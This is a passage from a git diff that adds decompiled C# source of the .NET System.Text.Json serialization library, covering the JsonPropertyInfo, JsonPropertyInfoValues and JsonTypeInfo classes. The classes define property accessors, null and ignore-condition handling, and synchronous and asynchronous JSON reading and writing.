abstract object GetValueAsObject(object obj); + + internal bool ReadJsonAndAddExtensionProperty(object obj, scoped ref ReadStack state, ref Utf8JsonReader reader) + { + object valueAsObject = GetValueAsObject(obj); + if (valueAsObject is IDictionary dictionary) + { + if (reader.TokenType == JsonTokenType.Null) + { + dictionary[state.Current.JsonPropertyNameAsString] = null; + } + else + { + JsonConverter jsonConverter = GetDictionaryValueConverter(); + object value = jsonConverter.Read(ref reader, System.Text.Json.Serialization.Metadata.JsonTypeInfo.ObjectType, Options); + dictionary[state.Current.JsonPropertyNameAsString] = value; + } + } + else if (valueAsObject is IDictionary dictionary2) + { + JsonConverter jsonConverter2 = GetDictionaryValueConverter(); + JsonElement value2 = jsonConverter2.Read(ref reader, typeof(JsonElement), Options); + dictionary2[state.Current.JsonPropertyNameAsString] = value2; + } + else + { + EffectiveConverter.ReadElementAndSetProperty(valueAsObject, state.Current.JsonPropertyNameAsString, ref reader, Options, ref state); + } + return true; + JsonConverter GetDictionaryValueConverter() + { + JsonTypeInfo jsonTypeInfo = JsonTypeInfo.ElementTypeInfo ?? Options.GetTypeInfoInternal(typeof(TValue), ensureConfigured: true, true); + return ((JsonTypeInfo)jsonTypeInfo).EffectiveConverter; + } + } + + internal abstract bool ReadJsonAndSetMember(object obj, scoped ref ReadStack state, ref Utf8JsonReader reader); + + internal abstract bool ReadJsonAsObject(scoped ref ReadStack state, ref Utf8JsonReader reader, out object value); + + internal bool ReadJsonExtensionDataValue(scoped ref ReadStack state, ref Utf8JsonReader reader, out object value) + { + if (JsonTypeInfo.ElementType == System.Text.Json.Serialization.Metadata.JsonTypeInfo.ObjectType && reader.TokenType == JsonTokenType.Null) + { + value = null; + return true; + } + JsonConverter jsonConverter = (JsonConverter)Options.GetConverterInternal(typeof(JsonElement)); + if (!jsonConverter.TryRead(ref reader, typeof(JsonElement), Options, ref state, out var value2, out var _)) + { + value = null; + return false; + } + value = value2; + return true; + } + + internal void EnsureChildOf(JsonTypeInfo parent) + { + if (ParentTypeInfo == null) + { + ParentTypeInfo = parent; + } + else if (ParentTypeInfo != parent) + { + ThrowHelper.ThrowInvalidOperationException_JsonPropertyInfoIsBoundToDifferentJsonTypeInfo(this); + } + } + + internal bool TryGetPrePopulatedValue(scoped ref ReadStack state) + { + if (EffectiveObjectCreationHandling != JsonObjectCreationHandling.Populate) + { + return false; + } + object obj = Get(state.Parent.ReturnValue); + state.Current.ReturnValue = obj; + state.Current.IsPopulating = obj != null; + return obj != null; + } + + internal bool IsOverriddenOrShadowedBy(JsonPropertyInfo other) + { + if (MemberName == other.MemberName) + { + return DeclaringType.IsAssignableFrom(other.DeclaringType); + } + return false; + } +} +internal sealed class JsonPropertyInfo : JsonPropertyInfo +{ + private Func _typedGet; + + private Action _typedSet; + + private Func _shouldSerializeTyped; + + private JsonConverter _typedEffectiveConverter; + + internal new Func Get + { + get + { + return _typedGet; + } + set + { + SetGetter(value); + } + } + + internal new Action Set + { + get + { + return _typedSet; + } + set + { + SetSetter(value); + } + } + + internal new Func ShouldSerialize + { + get + { + return _shouldSerializeTyped; + } + set + { + SetShouldSerialize(value); + } + } + + internal override object DefaultValue => default(T); + + internal override bool PropertyTypeCanBeNull => default(T) == null; + + internal new JsonConverter EffectiveConverter => _typedEffectiveConverter; + + internal JsonPropertyInfo(Type declaringType, JsonTypeInfo declaringTypeInfo, JsonSerializerOptions options) + : base(declaringType, typeof(T), declaringTypeInfo, options) + { + } + + private protected override void SetGetter(Delegate getter) + { + if ((object)getter == null) + { + _typedGet = null; + _untypedGet = null; + return; + } + Func typedGetter = getter as Func; + if (typedGetter != null) + { + _typedGet = typedGetter; + _untypedGet = ((getter is Func func) ? func : ((Func)((object obj) => typedGetter(obj)))); + return; + } + Func untypedGet = (Func)getter; + _typedGet = (object obj) => (T)untypedGet(obj); + _untypedGet = untypedGet; + } + + private protected override void SetSetter(Delegate setter) + { + if ((object)setter == null) + { + _typedSet = null; + _untypedSet = null; + return; + } + Action typedSetter = setter as Action; + if (typedSetter != null) + { + _typedSet = typedSetter; + _untypedSet = ((setter is Action action) ? action : ((Action)delegate(object obj, object value) + { + typedSetter(obj, (T)value); + })); + return; + } + Action untypedSet = (Action)setter; + _typedSet = delegate(object obj, T value) + { + untypedSet(obj, value); + }; + _untypedSet = untypedSet; + } + + private protected override void SetShouldSerialize(Delegate predicate) + { + if ((object)predicate == null) + { + _shouldSerializeTyped = null; + _shouldSerialize = null; + return; + } + Func typedPredicate = predicate as Func; + if (typedPredicate != null) + { + _shouldSerializeTyped = typedPredicate; + _shouldSerialize = ((typedPredicate is Func func) ? func : ((Func)((object obj, object value) => typedPredicate(obj, (T)value)))); + return; + } + Func untypedPredicate = (Func)predicate; + _shouldSerializeTyped = (object obj, T value) => untypedPredicate(obj, value); + _shouldSerialize = untypedPredicate; + } + + internal override JsonParameterInfo CreateJsonParameterInfo(JsonParameterInfoValues parameterInfoValues) + { + return new JsonParameterInfo(parameterInfoValues, this); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal override void DetermineReflectionPropertyAccessors(MemberInfo memberInfo, bool useNonPublicAccessors) + { + DefaultJsonTypeInfoResolver.DeterminePropertyAccessors(this, memberInfo, useNonPublicAccessors); + } + + private protected override void DetermineEffectiveConverter(JsonTypeInfo jsonTypeInfo) + { + _typedEffectiveConverter = (JsonConverter)(_effectiveConverter = base.Options.ExpandConverterFactory(base.CustomConverter, base.PropertyType)?.CreateCastingConverter() ?? ((JsonTypeInfo)jsonTypeInfo).EffectiveConverter); + } + + internal override object GetValueAsObject(object obj) + { + if (base.IsForTypeInfo) + { + return obj; + } + return Get(obj); + } + + internal override bool GetMemberAndWriteJson(object obj, ref WriteStack state, Utf8JsonWriter writer) + { + T value = Get(obj); + if (!EffectiveConverter.IsValueType && base.Options.ReferenceHandlingStrategy == ReferenceHandlingStrategy.IgnoreCycles && value != null && !state.IsContinuation && EffectiveConverter.ConverterStrategy != ConverterStrategy.Value && state.ReferenceResolver.ContainsReferenceForCycleDetection(value)) + { + value = default(T); + } + if (base.IgnoreDefaultValuesOnWrite) + { + if (IsDefaultValue(value)) + { + return true; + } + } + else + { + Func shouldSerialize = ShouldSerialize; + if (shouldSerialize != null && !shouldSerialize(obj, value)) + { + return true; + } + } + if (value == null) + { + if (EffectiveConverter.HandleNullOnWrite) + { + if ((int)state.Current.PropertyState < 2) + { + state.Current.PropertyState = StackFramePropertyState.Name; + writer.WritePropertyNameSection(base.EscapedNameSection); + } + int currentDepth = writer.CurrentDepth; + EffectiveConverter.Write(writer, value, base.Options); + if (currentDepth != writer.CurrentDepth) + { + ThrowHelper.ThrowJsonException_SerializationConverterWrite(EffectiveConverter); + } + } + else + { + writer.WriteNullSection(base.EscapedNameSection); + } + return true; + } + if ((int)state.Current.PropertyState < 2) + { + state.Current.PropertyState = StackFramePropertyState.Name; + writer.WritePropertyNameSection(base.EscapedNameSection); + } + return EffectiveConverter.TryWrite(writer, in value, base.Options, ref state); + } + + internal override bool GetMemberAndWriteJsonExtensionData(object obj, ref WriteStack state, Utf8JsonWriter writer) + { + T val = Get(obj); + Func shouldSerialize = ShouldSerialize; + if (shouldSerialize != null && !shouldSerialize(obj, val)) + { + return true; + } + if (val == null) + { + return true; + } + return EffectiveConverter.TryWriteDataExtensionProperty(writer, val, base.Options, ref state); + } + + internal override bool ReadJsonAndSetMember(object obj, scoped ref ReadStack state, ref Utf8JsonReader reader) + { + bool flag = reader.TokenType == JsonTokenType.Null; + bool flag2; + if (flag && !EffectiveConverter.HandleNullOnRead && !state.IsContinuation) + { + if (default(T) != null || !base.CanDeserialize) + { + if (default(T) == null) + { + ThrowHelper.ThrowInvalidOperationException_DeserializeUnableToAssignNull(EffectiveConverter.Type); + } + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(EffectiveConverter.Type); + } + if (!base.IgnoreNullTokensOnRead) + { + Set(obj, default(T)); + } + flag2 = true; + state.Current.MarkRequiredPropertyAsRead(this); + } + else if (EffectiveConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + if (!flag || !base.IgnoreNullTokensOnRead || default(T) != null) + { + T arg = EffectiveConverter.Read(ref reader, base.PropertyType, base.Options); + Set(obj, arg); + } + flag2 = true; + state.Current.MarkRequiredPropertyAsRead(this); + } + else + { + flag2 = true; + if (!flag || !base.IgnoreNullTokensOnRead || default(T) != null || state.IsContinuation) + { + state.Current.ReturnValue = obj; + flag2 = EffectiveConverter.TryRead(ref reader, base.PropertyType, base.Options, ref state, out var value, out var isPopulatedValue); + if (flag2) + { + if ((typeof(T).IsValueType || !isPopulatedValue) && base.CanDeserialize) + { + Set(obj, value); + } + state.Current.MarkRequiredPropertyAsRead(this); + } + } + } + return flag2; + } + + internal override bool ReadJsonAsObject(scoped ref ReadStack state, ref Utf8JsonReader reader, out object value) + { + bool result; + if (reader.TokenType == JsonTokenType.Null && !EffectiveConverter.HandleNullOnRead && !state.IsContinuation) + { + if (default(T) != null) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(EffectiveConverter.Type); + } + value = default(T); + result = true; + } + else if (EffectiveConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + value = EffectiveConverter.Read(ref reader, base.PropertyType, base.Options); + result = true; + } + else + { + result = EffectiveConverter.TryRead(ref reader, base.PropertyType, base.Options, ref state, out var value2, out var _); + value = value2; + } + return result; + } + + private protected override void ConfigureIgnoreCondition(JsonIgnoreCondition? ignoreCondition) + { + if (!ignoreCondition.HasValue) + { + return; + } + switch (ignoreCondition.GetValueOrDefault()) + { + case JsonIgnoreCondition.Never: + ShouldSerialize = ShouldSerializeIgnoreConditionNever; + break; + case JsonIgnoreCondition.Always: + ShouldSerialize = ShouldSerializeIgnoreConditionAlways; + break; + case JsonIgnoreCondition.WhenWritingNull: + if (PropertyTypeCanBeNull) + { + ShouldSerialize = ShouldSerializeIgnoreWhenWritingDefault; + base.IgnoreDefaultValuesOnWrite = true; + } + else + { + ThrowHelper.ThrowInvalidOperationException_IgnoreConditionOnValueTypeInvalid(base.MemberName, base.DeclaringType); + } + break; + case JsonIgnoreCondition.WhenWritingDefault: + ShouldSerialize = ShouldSerializeIgnoreWhenWritingDefault; + base.IgnoreDefaultValuesOnWrite = true; + break; + } + static bool ShouldSerializeIgnoreConditionAlways(object _, T value) + { + return false; + } + static bool ShouldSerializeIgnoreConditionNever(object _, T value) + { + return true; + } + static bool ShouldSerializeIgnoreWhenWritingDefault(object _, T value) + { + if (default(T) != null) + { + return !EqualityComparer.Default.Equals(default(T), value); + } + return value != null; + } + } + + private static bool IsDefaultValue(T value) + { + if (default(T) != null) + { + return EqualityComparer.Default.Equals(default(T), value); + } + return value == null; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPropertyInfoValues.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPropertyInfoValues.cs new file mode 100644 index 0000000..940bfb3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPropertyInfoValues.cs @@ -0,0 +1,35 @@ +using System.ComponentModel; + +namespace System.Text.Json.Serialization.Metadata; + +[EditorBrowsable(EditorBrowsableState.Never)] +public sealed class JsonPropertyInfoValues +{ + public bool IsProperty { get; init; } + + public bool IsPublic { get; init; } + + public bool IsVirtual { get; init; } + + public Type DeclaringType { get; init; } + + public JsonTypeInfo PropertyTypeInfo { get; init; } + + public JsonConverter? Converter { get; init; } + + public Func? Getter { get; init; } + + public Action? Setter { get; init; } + + public JsonIgnoreCondition? IgnoreCondition { get; init; } + + public bool HasJsonInclude { get; init; } + + public bool IsExtensionData { get; init; } + + public JsonNumberHandling? NumberHandling { get; init; } + + public string PropertyName { get; init; } + + public string? JsonPropertyName { get; init; } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfo.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfo.cs new file mode 100644 index 0000000..15fff53 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfo.cs @@ -0,0 +1,1645 @@ +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Runtime.CompilerServices; +using System.Runtime.ExceptionServices; +using System.Runtime.InteropServices; +using System.Text.Json.Reflection; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json.Serialization.Metadata; + +public sealed class JsonTypeInfo : JsonTypeInfo +{ + internal JsonTypeInfo _asyncEnumerableQueueTypeInfo; + + private volatile int _canUseSerializeHandlerInStreamingState; + + private const int MinSerializationsSampleSize = 10; + + private volatile int _serializationCount; + + private Action _serialize; + + private Func _typedCreateObject; + + private bool CanUseSerializeHandlerInStreaming => _canUseSerializeHandlerInStreamingState == 1; + + internal JsonConverter EffectiveConverter { get; } + + public new Func? CreateObject + { + get + { + return _typedCreateObject; + } + set + { + SetCreateObject(value); + } + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public Action? SerializeHandler + { + get + { + return _serialize; + } + internal set + { + _serialize = value; + base.HasSerializeHandler = value != null; + } + } + + internal T Deserialize(ref Utf8JsonReader reader, ref ReadStack state) + { + return EffectiveConverter.ReadCore(ref reader, base.Options, ref state); + } + + internal async ValueTask DeserializeAsync(Stream utf8Json, CancellationToken cancellationToken) + { + JsonSerializerOptions options = base.Options; + ReadBufferState bufferState = new ReadBufferState(options.DefaultBufferSize); + ReadStack readStack = default(ReadStack); + readStack.Initialize(this, supportContinuation: true); + JsonReaderState jsonReaderState = new JsonReaderState(options.GetReaderOptions()); + try + { + T result; + do + { + bufferState = await bufferState.ReadFromStreamAsync(utf8Json, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + result = ContinueDeserialize(ref bufferState, ref jsonReaderState, ref readStack); + } + while (!bufferState.IsFinalBlock); + return result; + } + finally + { + bufferState.Dispose(); + } + } + + internal T Deserialize(Stream utf8Json) + { + JsonSerializerOptions options = base.Options; + ReadBufferState bufferState = new ReadBufferState(options.DefaultBufferSize); + ReadStack readStack = default(ReadStack); + readStack.Initialize(this, supportContinuation: true); + JsonReaderState jsonReaderState = new JsonReaderState(options.GetReaderOptions()); + try + { + T result; + do + { + bufferState.ReadFromStream(utf8Json); + result = ContinueDeserialize(ref bufferState, ref jsonReaderState, ref readStack); + } + while (!bufferState.IsFinalBlock); + return result; + } + finally + { + bufferState.Dispose(); + } + } + + internal sealed override object DeserializeAsObject(ref Utf8JsonReader reader, ref ReadStack state) + { + return Deserialize(ref reader, ref state); + } + + internal sealed override async ValueTask DeserializeAsObjectAsync(Stream utf8Json, CancellationToken cancellationToken) + { + return await DeserializeAsync(utf8Json, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + internal sealed override object DeserializeAsObject(Stream utf8Json) + { + return Deserialize(utf8Json); + } + + internal T ContinueDeserialize(ref ReadBufferState bufferState, ref JsonReaderState jsonReaderState, ref ReadStack readStack) + { + Utf8JsonReader reader = new Utf8JsonReader(bufferState.Bytes, bufferState.IsFinalBlock, jsonReaderState); + readStack.ReadAhead = !bufferState.IsFinalBlock; + readStack.BytesConsumed = 0L; + T result = EffectiveConverter.ReadCore(ref reader, base.Options, ref readStack); + bufferState.AdvanceBuffer((int)readStack.BytesConsumed); + jsonReaderState = reader.CurrentState; + return result; + } + + internal void Serialize(Utf8JsonWriter writer, in T rootValue, object rootValueBoxed = null) + { + if (base.CanUseSerializeHandler) + { + SerializeHandler(writer, rootValue); + writer.Flush(); + return; + } + if (base.Converter.CanBePolymorphic && rootValue != null && base.Options.TryGetPolymorphicTypeInfoForRootType(rootValue, out var polymorphicTypeInfo)) + { + polymorphicTypeInfo.SerializeAsObject(writer, rootValue); + return; + } + WriteStack state = default(WriteStack); + state.Initialize(this, rootValueBoxed); + bool flag = EffectiveConverter.WriteCore(writer, in rootValue, base.Options, ref state); + writer.Flush(); + } + + internal async Task SerializeAsync(Stream utf8Json, T rootValue, CancellationToken cancellationToken, object rootValueBoxed = null) + { + if (CanUseSerializeHandlerInStreaming) + { + using (PooledByteBufferWriter bufferWriter = new PooledByteBufferWriter(base.Options.DefaultBufferSize)) + { + Utf8JsonWriter utf8JsonWriter = Utf8JsonWriterCache.RentWriter(base.Options, bufferWriter); + try + { + SerializeHandler(utf8JsonWriter, rootValue); + utf8JsonWriter.Flush(); + } + finally + { + OnRootLevelAsyncSerializationCompleted(utf8JsonWriter.BytesCommitted + utf8JsonWriter.BytesPending); + Utf8JsonWriterCache.ReturnWriter(utf8JsonWriter); + } + await bufferWriter.WriteToStreamAsync(utf8Json, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + return; + } + if (base.Converter.CanBePolymorphic && rootValue != null && base.Options.TryGetPolymorphicTypeInfoForRootType(rootValue, out var polymorphicTypeInfo)) + { + await polymorphicTypeInfo.SerializeAsObjectAsync(utf8Json, rootValue, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return; + } + WriteStack state = default(WriteStack); + state.Initialize(this, rootValueBoxed, supportContinuation: true, supportAsync: true); + state.CancellationToken = cancellationToken; + using PooledByteBufferWriter bufferWriter = new PooledByteBufferWriter(base.Options.DefaultBufferSize); + using Utf8JsonWriter writer = new Utf8JsonWriter(bufferWriter, base.Options.GetWriterOptions()); + try + { + bool isFinalBlock; + do + { + state.FlushThreshold = (int)((float)bufferWriter.Capacity * 0.9f); + try + { + isFinalBlock = EffectiveConverter.WriteCore(writer, in rootValue, base.Options, ref state); + writer.Flush(); + if (state.SuppressFlush) + { + state.SuppressFlush = false; + continue; + } + await bufferWriter.WriteToStreamAsync(utf8Json, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + bufferWriter.Clear(); + } + finally + { + if (state.PendingTask != null) + { + try + { + await state.PendingTask.ConfigureAwait(continueOnCapturedContext: false); + } + catch + { + } + } + List completedAsyncDisposables = state.CompletedAsyncDisposables; + if (completedAsyncDisposables != null && completedAsyncDisposables.Count > 0) + { + await state.DisposeCompletedAsyncDisposables().ConfigureAwait(continueOnCapturedContext: false); + } + } + } + while (!isFinalBlock); + } + catch + { + await state.DisposePendingDisposablesOnExceptionAsync().ConfigureAwait(continueOnCapturedContext: false); + throw; + } + if (base.CanUseSerializeHandler) + { + OnRootLevelAsyncSerializationCompleted(writer.BytesCommitted); + } + } + + internal void Serialize(Stream utf8Json, in T rootValue, object rootValueBoxed = null) + { + if (CanUseSerializeHandlerInStreaming) + { + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter utf8JsonWriter = Utf8JsonWriterCache.RentWriterAndBuffer(base.Options, out bufferWriter); + try + { + SerializeHandler(utf8JsonWriter, rootValue); + utf8JsonWriter.Flush(); + bufferWriter.WriteToStream(utf8Json); + return; + } + finally + { + OnRootLevelAsyncSerializationCompleted(utf8JsonWriter.BytesCommitted + utf8JsonWriter.BytesPending); + Utf8JsonWriterCache.ReturnWriterAndBuffer(utf8JsonWriter, bufferWriter); + } + } + if (base.Converter.CanBePolymorphic && rootValue != null && base.Options.TryGetPolymorphicTypeInfoForRootType(rootValue, out var polymorphicTypeInfo)) + { + polymorphicTypeInfo.SerializeAsObject(utf8Json, rootValue); + return; + } + WriteStack state = default(WriteStack); + state.Initialize(this, rootValueBoxed, supportContinuation: true); + using PooledByteBufferWriter pooledByteBufferWriter = new PooledByteBufferWriter(base.Options.DefaultBufferSize); + using Utf8JsonWriter utf8JsonWriter2 = new Utf8JsonWriter(pooledByteBufferWriter, base.Options.GetWriterOptions()); + bool flag; + do + { + state.FlushThreshold = (int)((float)pooledByteBufferWriter.Capacity * 0.9f); + flag = EffectiveConverter.WriteCore(utf8JsonWriter2, in rootValue, base.Options, ref state); + utf8JsonWriter2.Flush(); + pooledByteBufferWriter.WriteToStream(utf8Json); + pooledByteBufferWriter.Clear(); + } + while (!flag); + if (base.CanUseSerializeHandler) + { + OnRootLevelAsyncSerializationCompleted(utf8JsonWriter2.BytesCommitted); + } + } + + internal sealed override void SerializeAsObject(Utf8JsonWriter writer, object rootValue) + { + Serialize(writer, JsonSerializer.UnboxOnWrite(rootValue), rootValue); + } + + internal sealed override Task SerializeAsObjectAsync(Stream utf8Json, object rootValue, CancellationToken cancellationToken) + { + return SerializeAsync(utf8Json, JsonSerializer.UnboxOnWrite(rootValue), cancellationToken, rootValue); + } + + internal sealed override void SerializeAsObject(Stream utf8Json, object rootValue) + { + Serialize(utf8Json, JsonSerializer.UnboxOnWrite(rootValue), rootValue); + } + + private void OnRootLevelAsyncSerializationCompleted(long serializationSize) + { + if (_canUseSerializeHandlerInStreamingState != 2) + { + if ((ulong)serializationSize > (ulong)(base.Options.DefaultBufferSize / 2)) + { + _canUseSerializeHandlerInStreamingState = 2; + } + else if ((uint)_serializationCount < 10u && Interlocked.Increment(ref _serializationCount) == 10) + { + Interlocked.CompareExchange(ref _canUseSerializeHandlerInStreamingState, 1, 0); + } + } + } + + internal JsonTypeInfo(JsonConverter converter, JsonSerializerOptions options) + : base(typeof(T), converter, options) + { + EffectiveConverter = converter.CreateCastingConverter(); + } + + private protected override void SetCreateObject(Delegate createObject) + { + VerifyMutable(); + if (base.Kind == JsonTypeInfoKind.None) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(base.Kind); + } + if (!base.Converter.SupportsCreateObjectDelegate) + { + ThrowHelper.ThrowInvalidOperationException_CreateObjectConverterNotCompatible(base.Type); + } + Func untypedCreateObject; + Func typedCreateObject; + if ((object)createObject == null) + { + untypedCreateObject = null; + typedCreateObject = null; + } + else + { + Func typedDelegate = createObject as Func; + if (typedDelegate != null) + { + typedCreateObject = typedDelegate; + untypedCreateObject = ((createObject is Func func) ? func : ((Func)(() => typedDelegate()))); + } + else + { + untypedCreateObject = (Func)createObject; + typedCreateObject = () => (T)untypedCreateObject(); + } + } + _createObject = untypedCreateObject; + _typedCreateObject = typedCreateObject; + } + + private protected override JsonPropertyInfo CreatePropertyInfoForTypeInfo() + { + return new JsonPropertyInfo(typeof(T), this, base.Options) + { + JsonTypeInfo = this, + IsForTypeInfo = true + }; + } + + private protected override JsonPropertyInfo CreateJsonPropertyInfo(JsonTypeInfo declaringTypeInfo, Type declaringType, JsonSerializerOptions options) + { + return new JsonPropertyInfo(declaringType ?? declaringTypeInfo.Type, declaringTypeInfo, options) + { + JsonTypeInfo = this + }; + } +} +[DebuggerDisplay("{DebuggerDisplay,nq}")] +public abstract class JsonTypeInfo +{ + internal delegate T ParameterizedConstructorDelegate(TArg0 arg0, TArg1 arg1, TArg2 arg2, TArg3 arg3); + + private enum ConfigurationState : byte + { + NotConfigured, + Configuring, + Configured + } + + internal ref struct PropertyHierarchyResolutionState(JsonSerializerOptions options) + { + public Dictionary AddedProperties = new Dictionary(options.PropertyNameCaseInsensitive ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal); + + public Dictionary IgnoredProperties = null; + + public bool IsPropertyOrderSpecified = false; + } + + private sealed class ParameterLookupKey + { + public string Name { get; } + + public Type Type { get; } + + public ParameterLookupKey(string name, Type type) + { + Name = name; + Type = type; + } + + public override int GetHashCode() + { + return StringComparer.OrdinalIgnoreCase.GetHashCode(Name); + } + + public override bool Equals([NotNullWhen(true)] object obj) + { + ParameterLookupKey parameterLookupKey = (ParameterLookupKey)obj; + if (Type == parameterLookupKey.Type) + { + return string.Equals(Name, parameterLookupKey.Name, StringComparison.OrdinalIgnoreCase); + } + return false; + } + } + + private sealed class ParameterLookupValue + { + public string DuplicateName { get; set; } + + public JsonPropertyInfo JsonPropertyInfo { get; } + + public ParameterLookupValue(JsonPropertyInfo jsonPropertyInfo) + { + JsonPropertyInfo = jsonPropertyInfo; + } + } + + internal sealed class JsonPropertyInfoList : ConfigurationList + { + private readonly JsonTypeInfo _jsonTypeInfo; + + public override bool IsReadOnly + { + get + { + if (_jsonTypeInfo._properties != this || !_jsonTypeInfo.IsReadOnly) + { + return _jsonTypeInfo.Kind != JsonTypeInfoKind.Object; + } + return true; + } + } + + public JsonPropertyInfoList(JsonTypeInfo jsonTypeInfo) + : base((IEnumerable)null) + { + _jsonTypeInfo = jsonTypeInfo; + } + + protected override void OnCollectionModifying() + { + if (_jsonTypeInfo._properties == this) + { + _jsonTypeInfo.VerifyMutable(); + } + if (_jsonTypeInfo.Kind != JsonTypeInfoKind.Object) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(_jsonTypeInfo.Kind); + } + } + + protected override void ValidateAddedValue(JsonPropertyInfo item) + { + item.EnsureChildOf(_jsonTypeInfo); + } + + public void SortProperties() + { + _list.StableSortByKey((JsonPropertyInfo propInfo) => propInfo.Order); + } + + public void AddPropertyWithConflictResolution(JsonPropertyInfo jsonPropertyInfo, ref PropertyHierarchyResolutionState state) + { + string memberName = jsonPropertyInfo.MemberName; + if (JsonHelpers.TryAdd(state.AddedProperties, jsonPropertyInfo.Name, (jsonPropertyInfo, base.Count))) + { + Add(jsonPropertyInfo); + state.IsPropertyOrderSpecified |= jsonPropertyInfo.Order != 0; + } + else + { + var (jsonPropertyInfo2, num) = state.AddedProperties[jsonPropertyInfo.Name]; + if (jsonPropertyInfo2.IsIgnored) + { + state.AddedProperties[jsonPropertyInfo.Name] = (jsonPropertyInfo, num); + base[num] = jsonPropertyInfo; + state.IsPropertyOrderSpecified |= jsonPropertyInfo.Order != 0; + } + else if (!jsonPropertyInfo.IsIgnored && !jsonPropertyInfo.IsOverriddenOrShadowedBy(jsonPropertyInfo2)) + { + Dictionary ignoredProperties = state.IgnoredProperties; + if (ignoredProperties == null || !ignoredProperties.TryGetValue(memberName, out var value) || !jsonPropertyInfo.IsOverriddenOrShadowedBy(value)) + { + ThrowHelper.ThrowInvalidOperationException_SerializerPropertyNameConflict(_jsonTypeInfo.Type, jsonPropertyInfo.Name); + } + } + } + if (jsonPropertyInfo.IsIgnored) + { + ref Dictionary ignoredProperties2 = ref state.IgnoredProperties; + (ignoredProperties2 ?? (ignoredProperties2 = new Dictionary()))[memberName] = jsonPropertyInfo; + } + } + } + + internal static readonly Type ObjectType = typeof(object); + + private const int PropertyNameKeyLength = 7; + + private const int ParameterNameCountCacheThreshold = 32; + + private const int PropertyNameCountCacheThreshold = 64; + + private volatile ParameterRef[] _parameterRefsSorted; + + private volatile PropertyRef[] _propertyRefsSorted; + + internal const string MetadataFactoryRequiresUnreferencedCode = "JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications."; + + internal const string JsonObjectTypeName = "System.Text.Json.Nodes.JsonObject"; + + private Action _onSerializing; + + private Action _onSerialized; + + private Action _onDeserializing; + + private Action _onDeserialized; + + private protected Func _createObject; + + private Func _sourceGenDelayedPropertyInitializer; + + private JsonPropertyInfoList _properties; + + private protected JsonPolymorphismOptions _polymorphismOptions; + + private JsonTypeInfo _elementTypeInfo; + + private JsonTypeInfo _keyTypeInfo; + + private JsonNumberHandling? _numberHandling; + + private JsonUnmappedMemberHandling? _unmappedMemberHandling; + + private JsonObjectCreationHandling? _preferredPropertyObjectCreationHandling; + + private IJsonTypeInfoResolver _originatingResolver; + + private volatile ConfigurationState _configurationState; + + private ExceptionDispatchInfo _cachedConfigureError; + + private JsonTypeInfo _ancestorPolymorhicType; + + private volatile bool _isAncestorPolymorphicTypeResolved; + + internal int ParameterCount { get; private set; } + + internal JsonPropertyDictionary? ParameterCache { get; private set; } + + internal bool UsesParameterizedConstructor => ParameterCache != null; + + internal JsonPropertyDictionary? PropertyCache { get; private set; } + + internal int NumberOfRequiredProperties { get; private set; } + + public Func? CreateObject + { + get + { + return _createObject; + } + set + { + SetCreateObject(value); + } + } + + internal Func? CreateObjectForExtensionDataProperty { get; set; } + + public Action? OnSerializing + { + get + { + return _onSerializing; + } + set + { + VerifyMutable(); + if (Kind != JsonTypeInfoKind.Object) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(Kind); + } + _onSerializing = value; + } + } + + public Action? OnSerialized + { + get + { + return _onSerialized; + } + set + { + VerifyMutable(); + if (Kind != JsonTypeInfoKind.Object) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(Kind); + } + _onSerialized = value; + } + } + + public Action? OnDeserializing + { + get + { + return _onDeserializing; + } + set + { + VerifyMutable(); + if (Kind != JsonTypeInfoKind.Object) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(Kind); + } + _onDeserializing = value; + } + } + + public Action? OnDeserialized + { + get + { + return _onDeserialized; + } + set + { + VerifyMutable(); + if (Kind != JsonTypeInfoKind.Object) + { + ThrowHelper.ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(Kind); + } + _onDeserialized = value; + } + } + + public IList Properties => PropertyList; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal JsonPropertyInfoList PropertyList + { + get + { + return _properties ?? CreatePropertyList(); + JsonPropertyInfoList CreatePropertyList() + { + JsonPropertyInfoList jsonPropertyInfoList = new JsonPropertyInfoList(this); + Func sourceGenDelayedPropertyInitializer = _sourceGenDelayedPropertyInitializer; + if (sourceGenDelayedPropertyInitializer != null) + { + JsonMetadataServices.PopulateProperties(this, jsonPropertyInfoList, sourceGenDelayedPropertyInitializer); + } + JsonPropertyInfoList jsonPropertyInfoList2 = 